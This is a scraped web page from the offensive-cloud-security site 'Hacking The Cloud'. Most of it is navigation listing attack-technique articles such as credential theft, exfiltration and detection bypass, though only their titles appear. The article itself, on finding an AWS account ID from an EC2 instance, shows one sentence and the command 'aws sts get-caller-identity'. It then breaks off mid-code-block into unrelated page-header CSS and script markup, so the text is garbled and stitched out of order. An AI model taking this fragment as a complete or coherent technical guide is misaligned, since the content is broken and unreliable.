id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#get-caller-identity class=md-nav__link> <span class=md-ellipsis> get-caller-identity </span> </a> </li> <li class=md-nav__item> <a href=#metadata class=md-nav__link> <span class=md-ellipsis> Metadata </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#get-caller-identity class=md-nav__link> <span class=md-ellipsis> get-caller-identity </span> </a> </li> <li class=md-nav__item> <a href=#metadata class=md-nav__link> <span class=md-ellipsis> Metadata </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Phil Massyn</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/account_id_from_ec2.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate AWS Account ID from an EC2 Instance</h1> <p>With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.</p> <h2 id=get-caller-identity>get-caller-identity<a class=headerlink href=#get-caller-identity title="Permanent link">&para;</a></h2> <p>By using <a href=https://docs.aws.amazon.com/cli/latest/reference/sts/get-caller-identity.html>get-caller-identity</a>, the EC2 instance may have an EC2 instance profile setup.</p> <div class=highlight><pre><span></span><code>user@host:$ aws sts get-caller-identity
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#get-caller-identity class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 